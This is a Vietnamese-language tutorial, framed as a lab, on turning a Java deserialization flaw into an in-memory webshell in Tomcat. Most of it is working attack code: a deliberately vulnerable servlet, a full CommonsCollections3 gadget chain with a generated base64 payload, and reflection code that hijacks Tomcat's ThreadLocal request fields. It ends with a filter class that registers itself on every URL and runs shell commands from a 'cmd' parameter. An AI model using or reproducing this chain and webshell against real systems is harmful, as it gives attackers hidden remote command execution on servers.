Deserialize to memshell in Tomcat

Sau khi hiểu cơ bản cách triển khai memshell thông qua JSP, ta tiếp tục tìm hiểu đến kỹ thuật leo memshell thông qua lỗ hổng deserialize.

1. Preface

Hiện tại theo như mình tìm hiểu thì ta chỉ có thể leo lên memshell thông qua deser của một số chain dùng sink TemplatesImpl như CommonsBeanutils1, CC2, CC3, CC4 vì TemplatesImpl cho phép ta load được byte code của class bất kỳ vào quá trình Runtime -> Dễ triển khai memshell hơn, do đó trong phần này mình chỉ note về deser2memshell với sink TemplatesImpl. Do đó để hiểu rõ hơn mình khuyên các bạn nên nắm rõ cách sink TemplatesImpl hoạt động với một số chain như CommonsBeanutils1 hoặc CC3 (Tham khảo chi tiết bài này)

Môi trường lab trong bài này sẽ là jdk8u66 với commons-collections 3.2.1, ta sẽ demo leo memshell với chain CC3

2. Setup labs

Ta sẽ có một trang web servlet đơn giản để demo như sau

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;


@WebServlet("/")
public class DeserLab extends HttpServlet {
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        byte[] data = Base64.getDecoder().decode(req.getParameter("data"));
        ByteArrayInputStream inputStream = new ByteArrayInputStream(data);
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        try {
            System.out.println(objectInputStream.readObject());
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doPost(req,resp);
    }
}

Mình dùng chain CC3 như sau để exploit

import java.io.*;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import javassist.ClassPool;
import org.apache.commons.collections.map.LazyMap;

import java.util.Base64;

public class CC3 {

    private static String serTest(Object obj) throws Exception {
        ByteArrayOutputStream bArr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bArr);
        oos.writeObject(obj);
        oos.close();

        byte[] bytes = bArr.toByteArray();
        return Base64.getEncoder().encodeToString(bytes);
    }
    private static void deserTest(String input) throws Exception {
        byte[] bArr = Base64.getDecoder().decode(input);
        InputStream is = new  ByteArrayInputStream(bArr);
        ObjectInputStream ois = new ObjectInputStream(is);
        ois.readObject();
        ois.close();
    }
    private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {

        byte[] bArr = ClassPool.getDefault().get(<Class_Wanna_Load>.class.getName()).toBytecode();
        TemplatesImpl tplsImpl = new TemplatesImpl();
        setFieldValue(tplsImpl, "_bytecodes", new byte[][]{bArr});
        setFieldValue(tplsImpl, "_name", "ahihi");
        setFieldValue(tplsImpl, "_tfactory", new TransformerFactoryImpl());

        ConstantTransformer constTransformer = new ConstantTransformer(TrAXFilter.class);
        InstantiateTransformer insTransformer = new InstantiateTransformer(new Class[]{javax.xml.transform.Templates.class},
                new Object[]{tplsImpl});
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                constTransformer, insTransformer
        });
        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map, chainedTransformer); // factory#transform()

        Class aInvocationHandlerCls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aInvocationHandlerConstructor = aInvocationHandlerCls.getDeclaredConstructors()[0];
        aInvocationHandlerConstructor.setAccessible(true);

        InvocationHandler proxyHandler = (InvocationHandler) aInvocationHandlerConstructor.newInstance(Override.class, lazyMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(
                map.getClass().getClassLoader(),
                map.getClass().getInterfaces(),
                proxyHandler
        );
        InvocationHandler aihObj = (InvocationHandler) aInvocationHandlerConstructor.newInstance(Override.class, proxyMap);

        String serialized = serTest(aihObj);
        System.out.println(serialized);
//        deserTest(serialized);
    }
}

3. Phân tích

A. Vấn đề

Nhìn lại các payload load memshell bằng JSP ta sẽ nhận ra để setup malicious Filter/Servlet/Listener ta đều cần dùng đến object requestcó sẵn trong file jsp. Object này là instance của HttpServletRequest. Đối với file JSP thì ta có thể gọi đến object này dễ dàng. Tuy nhiên khi deser lại là một chuyện hoàn toàn khác.

Vấn đề lớn nhất khi muốn leo từ deser là ta không thể gọi trực tiếp đến HttpServletRequest . Do mỗi HttpServletRequest sẽ đại diện cho mỗi request đến từ client nên ta không thể khai báo trực tiếp khi deser được mà phải tìm cách dump từ Runtime.

Để giải quyết các vấn đề trên ta có nhiều phương pháp khác nhau. Tuy nhiên ở bài này mình sẽ tập trung vào phương pháp của @kingkk (bài gốc)

Ngoài ra cũng còn nhiều phương pháp khác mà các bạn có thể tự tham khảo để triển khai. Ví dụ như:

B. Phân thích và khai thác

Note: Để set debug cũng như gen payload exploit cho đơn giản thì ta có thể embed tomcat core vào project (version phải cùng với version tomcat đang sử dụng - mình đang dùng tomcat 9.0.91 nên sẽ embed version 9.0.91 luôn)

Ý tưởng của phương pháp này là sẽ tìm cách get được HttpServletRequest thông qua một property nào đó trong quá trình Runtime gọi đến các components của Tomcat.

Inject ThreadLocal

Như đã biết từ bài trước thì trong quá trình Tomcat handle các Filter thì sẽ gọi đến ApplicationContext.internalDoFilter để thực thi Filter

Sau khi thực hiện doFilter xong thì hàm này còn tiếp tục set giá trị request và response vào lastServicedRequestlastServicedResponse nếu như ApplicationDispatcher.WRAP_SAME_OBJECT là true

Vậy thì property này là gì? Xem vào phần define property ở đầu class ta có được:

2 property này sẽ là 2 ThreadLocal (khái niệm ThreadLocal) hold request và response khi gọi đến Filter. Tuy nhiên giá trị ApplicationDispatcher.WRAP_SAME_OBJECT mặc định sẽ là false, do đó lastServicedRequestlastServicedResponse sẽ được set là null.

Trong quá trình Runtime request và response sẽ được gán vào 2 property này nếu như ApplicationDispatcher.WRAP_SAME_OBJECT là true. Lợi dụng hành vi này ta sẽ setup ApplicationDispatcher.WRAP_SAME_OBJECT thành true để Tomcat tự động set request và resposne vào lastServicedRequestlastServicedResponse. Sau đó ta gán một filter độc hại bằng cách gọi đến lastServicedRequest trong quá trình deserialize

Vì đây là 2 property static final nên ta sẽ dùng Reflection theo cách này để setup giá trị

java.lang.reflect.Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
java.lang.reflect.Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
java.lang.reflect.Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");

java.lang.reflect.Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true)

Khi thay đổi giá trị thành công ta có thể gọi đến ServletContext như sau

java.lang.reflect.Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null);
ServletRequest servletRequest = (ServletRequest) threadLocal.get();
servletRequest.getServletContext();

Từ ServletContext ta có thể gọi đến StandardContext (tham khảo bài trước). Và từ StandardContext có thể tự do setup memshell theo mong muốn.

Full POC dùng với chain CC3

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.ApplicationFilterChain;

import javax.servlet.ServletResponse;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

public class ThreadLocalInject extends AbstractTranslet {
    static {
        try {
            java.lang.reflect.Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
            java.lang.reflect.Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
            java.lang.reflect.Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");

            java.lang.reflect.Field modifiersField = Field.class.getDeclaredField("modifiers");
            modifiersField.setAccessible(true);
            modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
            modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
            modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
            WRAP_SAME_OBJECT_FIELD.setAccessible(true);
            lastServicedRequestField.setAccessible(true);
            lastServicedResponseField.setAccessible(true);

            if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null)) {
                WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
            }

            if (lastServicedRequestField.get(null) == null) {
                lastServicedRequestField.set(null, new ThreadLocal<>());
            }

            if (lastServicedResponseField.get(null) == null) {
                lastServicedResponseField.set(null, new ThreadLocal<>());
            }

            if (lastServicedResponseField.get(null) != null) {
                ThreadLocal threadLocal = (ThreadLocal) lastServicedResponseField.get(null);
                ServletResponse servletResponse = (ServletResponse) threadLocal.get();
                PrintWriter writer = servletResponse.getWriter();
                writer.write("Inject ThreadLocal Successfully!");
                writer.flush();
                writer.close();
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
}

Gen payload với CC3

public static void main(String[] args) throws Exception {

    byte[] bArr = ClassPool.getDefault().get(ThreadLocalInject.class.getName()).toBytecode();
    TemplatesImpl tplsImpl = new TemplatesImpl();
    setFieldValue(tplsImpl, "_bytecodes", new byte[][]{bArr});
    setFieldValue(tplsImpl, "_name", "ahihi");
    setFieldValue(tplsImpl, "_tfactory", new TransformerFactoryImpl());

    ConstantTransformer constTransformer = new ConstantTransformer(TrAXFilter.class);
    InstantiateTransformer insTransformer = new InstantiateTransformer(new Class[]{javax.xml.transform.Templates.class},
            new Object[]{tplsImpl});
    ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
            constTransformer, insTransformer
    });
    Map map = new HashMap();
    Map lazyMap = LazyMap.decorate(map, chainedTransformer); // factory#transform()

    Class aInvocationHandlerCls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor aInvocationHandlerConstructor = aInvocationHandlerCls.getDeclaredConstructors()[0];
    aInvocationHandlerConstructor.setAccessible(true);

    InvocationHandler proxyHandler = (InvocationHandler) aInvocationHandlerConstructor.newInstance(Override.class, lazyMap);
    Map proxyMap = (Map) Proxy.newProxyInstance(
            map.getClass().getClassLoader(),
            map.getClass().getInterfaces(),
            proxyHandler
    );
    InvocationHandler aihObj = (InvocationHandler) aInvocationHandlerConstructor.newInstance(Override.class, proxyMap);

    String serialized = serTest(aihObj);
    System.out.println(serialized);
//        deserTest(serialized);
}

Kết quả:

rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAMADWphdmEudXRpbC5NYXAAE2phdmEubGFuZy5DbG9uZWFibGUAFGphdmEuaW8uU2VyaWFsaXphYmxleHIAF2phdmEubGFuZy5yZWZsZWN0LlByb3h54SfaIMwQQ8sCAAFMAAFodAAlTGphdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25IYW5kbGVyO3hwc3EAfgAAc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl%2BwoepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAACc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnR0ABJMamF2YS9sYW5nL09iamVjdDt4cHZyADdjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UckFYRmlsdGVyAAAAAAAAAAAAAAB4cHNyAD5vcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW5zdGFudGlhdGVUcmFuc2Zvcm1lcjSL9H%2BkhtA7AgACWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7WwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAFzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgAYTAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD%2F%2F%2F%2F%2FdXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX%2BAYIVOACAAB4cAAAC%2BDK%2Frq%2BAAAANACECgAfAEcIAEgKAEkASggASwoASQBMBwBNCABOCABPBwBQCABRCgAJAFIKAAkAUwcAVAoACQBVCgAJAFYKAAkAVwoACQBYBwBZCgASAEcKAAkAWgoAEgBbBwBcCwAWAF0IAF4KAF8AYAoAXwBhCgBfAGIHAGMKABwAZAcAZQcAZgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQATTFRocmVhZExvY2FsSW5qZWN0OwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwBnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAC3RocmVhZExvY2FsAQAXTGphdmEvbGFuZy9UaHJlYWRMb2NhbDsBAA9zZXJ2bGV0UmVzcG9uc2UBAB9MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAGd3JpdGVyAQAVTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAWV1JBUF9TQU1FX09CSkVDVF9GSUVMRAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBABhsYXN0U2VydmljZWRSZXF1ZXN0RmllbGQBABlsYXN0U2VydmljZWRSZXNwb25zZUZpZWxkAQAObW9kaWZpZXJzRmllbGQBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAUAcAYwEAClNvdXJjZUZpbGUBABZUaHJlYWRMb2NhbEluamVjdC5qYXZhDAAgACEBAC5vcmcuYXBhY2hlLmNhdGFsaW5hLmNvcmUuQXBwbGljYXRpb25EaXNwYXRjaGVyBwBoDABpAGoBABBXUkFQX1NBTUVfT0JKRUNUDABrAGwBAC9vcmcvYXBhY2hlL2NhdGFsaW5hL2NvcmUvQXBwbGljYXRpb25GaWx0ZXJDaGFpbgEAE2xhc3RTZXJ2aWNlZFJlcXVlc3QBABRsYXN0U2VydmljZWRSZXNwb25zZQEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQAJbW9kaWZpZXJzDABtAG4MAG8AcAEAGmphdmEvbGFuZy9yZWZsZWN0L01vZGlmaWVyDABxAHIMAHMAdAwAdQB2DAB3AHgBABVqYXZhL2xhbmcvVGhyZWFkTG9jYWwMAHkAegwAdwB7AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UMAHwAfQEAIEluamVjdCBUaHJlYWRMb2NhbCBTdWNjZXNzZnVsbHkhBwB%2BDAB%2FAIAMAIEAIQwAggAhAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAgwAhAQARVGhyZWFkTG9jYWxJbmplY3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAPamF2YS9sYW5nL0NsYXNzAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAxnZXRNb2RpZmllcnMBAAMoKUkBAAZzZXRJbnQBABYoTGphdmEvbGFuZy9PYmplY3Q7SSlWAQAKZ2V0Qm9vbGVhbgEAFShMamF2YS9sYW5nL09iamVjdDspWgEACnNldEJvb2xlYW4BABYoTGphdmEvbGFuZy9PYmplY3Q7WilWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAANzZXQBACcoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KVYBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAFZmx1c2gBAAVjbG9zZQEAD3ByaW50U3RhY2tUcmFjZQAhAB4AHwAAAAAABAABACAAIQABACIAAAAvAAEAAQAAAAUqtwABsQAAAAIAIwAAAAYAAQAAAA0AJAAAAAwAAQAAAAUAJQAmAAAAAQAnACgAAgAiAAAAPwAAAAMAAAABsQAAAAIAIwAAAAYAAQAAAD0AJAAAACAAAwAAAAEAJQAmAAAAAAABACkAKgABAAAAAQArACwAAgAtAAAABAABAC4AAQAnAC8AAgAiAAAASQAAAAQAAAABsQAAAAIAIwAAAAYAAQAAAEIAJAAAACoABAAAAAEAJQAmAAAAAAABACkAKgABAAAAAQAwADEAAgAAAAEAMgAzAAMALQAAAAQAAQAuAAgANAAhAAEAIgAAAd0ABAAHAAAA0BICuAADEgS2AAVLEgYSB7YABUwSBhIItgAFTRIJEgq2AAVOLQS2AAstKiq2AAwQ7362AA4tKyu2AAwQ7362AA4tLCy2AAwQ7362AA4qBLYACysEtgALLAS2AAsqAbYAD5oACSoBBLYAECsBtgARxwAPKwG7ABJZtwATtgAULAG2ABHHAA8sAbsAElm3ABO2ABQsAbYAEcYAMSwBtgARwAASOgQZBLYAFcAAFjoFGQW5ABcBADoGGQYSGLYAGRkGtgAaGQa2ABunAAhLKrYAHbEAAQAAAMcAygAcAAMAIwAAAHIAHAAAABMACwAUABMAFQAbABcAIwAYACgAGQA0ABoAQAAbAEwAHABRAB0AVgAeAFsAIABjACEAaQAkAHEAJQB9ACgAhQApAJEALACZAC0AowAuAK0ALwC2ADAAvQAxAMIAMgDHADYAygA0AMsANQDPADcAJAAAAFIACACjACQANQA2AAQArQAaADcAOAAFALYAEQA5ADoABgALALwAOwA8AAAAEwC0AD0APAABABsArAA%2BADwAAgAjAKQAPwA8AAMAywAEAEAAQQAAAEIAAAAjAAb%2FAGkABAcAQwcAQwcAQwcAQwAAExP%2FADUAAAAAQgcARAQAAQBFAAAAAgBGcHQABWFoaWhpcHcBAHh1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAF2cgAdamF2YXgueG1sLnRyYW5zZm9ybS5UZW1wbGF0ZXMAAAAAAAAAAAAAAHhwc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA%2FQAAAAAAAAHcIAAAAEAAAAAB4eHZyABJqYXZhLmxhbmcuT3ZlcnJpZGUAAAAAAAAAAAAAAHhwcQB%2BAC0%3D

Trước khi inject:

Tiến hành inject:

Sau khi inject:

Inject Filter

Tiếp theo ta tiến hành inject malicious Filter. Ta sẽ dùng chain ServletContext để gọi đến StandardContext như sau (chain đã nói ở bài trước)

public static ServletContext getServletContext() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
    java.lang.reflect.Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
    lastServicedRequestField.setAccessible(true);
    ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null);
    if(threadLocal!=null && threadLocal.get()!=null){
        ServletRequest servletRequest = (ServletRequest) threadLocal.get();
        return servletRequest.getServletContext();
    }
    return null;
}

Khi có ServletContext thì ta cũng inject malicious Filter như cách đã làm với file JSP. Tuy nhiên có một lưu ý nhỏ là ta sẽ gộp chung malicous Filter và class setup Filter luôn. Tức là class exploit này tự setup chính nó vòa Runtime như một malicous Filter.

Nguyên nhân của việc trên là nếu class setup một malicous Filter khác thì ta phải upload file class của malicous Filter lên server nếu không thì khi deser sẽ quăng ra lỗi ClassNotFound (các bạn debug sẽ dễ hiểu đoạn này hơn). Do đó ta sẽ gộp chung class inject và malicious filter vào chung 1 class.

Full POC kết hợp exploit với CC3

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterChain;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import java.lang.reflect.InvocationTargetException;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;

public class TomcatFilterInject extends AbstractTranslet implements Filter {

    static {
        try {
            ServletContext servletContext = getServletContext();
            java.lang.reflect.Field appContextField = servletContext.getClass().getDeclaredField("context");
            appContextField.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
            java.lang.reflect.Field standardContextField = applicationContext.getClass().getDeclaredField("context");
            standardContextField.setAccessible(true);
            StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

            TomcatFilterInject filter = new TomcatFilterInject();
            String name = "ShellFilter";
            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(filter);
            filterDef.setFilterName(name);
            filterDef.setFilterClass(filter.getClass().getName());
            standardContext.addFilterDef(filterDef);

            FilterMap filterMap = new FilterMap();
            filterMap.addURLPattern("/*");
            filterMap.setFilterName(name);
            filterMap.setDispatcher(DispatcherType.REQUEST.name());
            standardContext.addFilterMapBefore(filterMap);

            java.lang.reflect.Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            java.util.Map filterConfigs = (java.util.Map) Configs.get(standardContext);

            java.lang.reflect.Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(org.apache.catalina.Context.class, FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
            filterConfigs.put(name, filterConfig);

        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        } catch (InstantiationException e) {
            e.printStackTrace();
        }
    }
    public static ServletContext getServletContext() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        java.lang.reflect.Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
        lastServicedRequestField.setAccessible(true);
        ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null);
        if(threadLocal!=null && threadLocal.get()!=null){
            ServletRequest servletRequest = (ServletRequest) threadLocal.get();
            return servletRequest.getServletContext();
        }
        return null;
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        String cmd = request.getParameter("cmd");
        response.setContentType("text/html; charset=UTF-8");
        PrintWriter writer = response.getWriter();
        if (cmd != null) {
            try {
                InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();

                java.util.Scanner scanner = new java.util.Scanner(in).useDelimiter("\\A");
                String result = scanner.hasNext()?scanner.next():"";
                scanner.close();
                writer.write(result);
                writer.flush();
                writer.close();
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NullPointerException n) {
                n.printStackTrace();
            }
        }
        chain.doFilter(request, response);
    }
}

Kết quả:

